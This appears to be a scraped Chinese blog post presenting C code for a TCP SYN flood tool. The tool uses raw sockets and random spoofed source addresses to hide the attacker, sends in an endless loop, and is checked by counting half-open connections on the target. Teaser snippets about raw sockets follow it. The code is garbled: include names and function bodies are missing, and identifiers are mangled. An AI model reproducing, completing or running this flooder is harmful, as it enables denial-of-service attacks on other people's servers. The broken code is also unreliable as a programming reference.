利用原始套接字實現乙個tcp syn flooding 程式:
要求:客戶端不斷向攻擊端傳送syn連線請求;
客戶端在傳送資料時,通過源位址隨機位址的方式隱藏自己的ip位址;
檢驗:在shell下通過「netstat -tn」檢查syn_recv連線數檢驗自己的程式是否成功
**好像有點問題。
不能偽造mac位址。
#include #include #include #include #include #include #include #include #include #include #include #include char dst_ip[20];
int dst_port;
struct psdheader ;
/* 傳送syn包函式
* 填寫ip頭部,tcp頭部
* tcp偽頭部僅用於校驗和的計算
*/void init_header(struct iphdr *ip, struct tcphdr *tcp, struct psdheader *pseudoheader)
unsigned short check_sum(unsigned short *addr, int len)
if (nleft == 1)
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return answer;
}int main(int argc, char **ar**)
dst_port = atoi(ar**[2]);
memset(dst_ip,0,sizeof(dst_ip));
strncpy( dst_ip, ar**[1], strlen(ar**[1]) );
int sockfd = socket(af_inet, sock_raw, ipproto_tcp);
if (sockfd == -1)
const int on = 1;
if(setsockopt(sockfd, ipproto_ip, ip_hdrincl, &on, sizeof(on)) < 0)
struct sockaddr_in addr;
bzero(&addr, sizeof(addr));
addr.sin_family = af_inet;
addr.sin_port = htons(dst_port);
addr.sin_addr.s_addr = inet_addr(ar**[1]);
char buf[100], sendbuf[100];
int len = sizeof(struct iphdr) + sizeof(struct tcphdr);
struct iphdr ip; //ip頭部
struct tcphdr tcp; //tcp頭部
struct psdheader pseudoheader; //tcp偽頭部
bzero(&ip,sizeof(struct iphdr));
bzero(&tcp,sizeof(struct tcphdr));
bzero(&pseudoheader,sizeof(struct psdheader));
init_header(&ip, &tcp, &pseudoheader);
while(1)
printf("%d : %d syn flooding\n",ip.saddr,tcp.source); }
}
核心會自動計算ip的校驗和,不會計算tcp的校驗和。
網路包幾種格式ethhdr、ether_header、iphdr、tcphdr、udphdr - fangxin205的專欄 - csdn部落格
原始套接字
資料出處 實際上,我們常用的網路程式設計都是在應用層的報文的收發操作,也就是大多數程式設計師接觸到的流式套接字 sock stream 和資料報式套接字 sock dgram 而這些資料報都是由系統提供的協議棧實現,使用者只需要填充應用層報文即可,由系統完成底層報文頭的填充並傳送。然而在某些情況下需...
原始套接字
參考1 原始套接字能幹什麼?參考2 原始套接字抓包實踐 參考3 各層頭結構 通過原始套接字,我們可以抓取所有傳送到本機的ip包 包括ip頭和tcp udp icmp包頭 也可以抓取所有本機收到的幀 包括資料鏈路層協議頭 普通的套接字無法處理icmp igmp等網路報文,而sock raw可以。利用原...
原始套接字
用於tcp通訊的流式套接字 用於udp通訊報式套接字 特點是 我們傳送資料報只需要組應用層的資料報文,收到的資料報也只有應用層的資料 也就是說明,鏈路層,網路層,傳輸層的資料是由底層協議棧自動幫我們組的 如果想要自己從鏈路層,網路層,傳輸層到應用層組乙個資料報,這個時候需要使用原始套接字 原始套接字...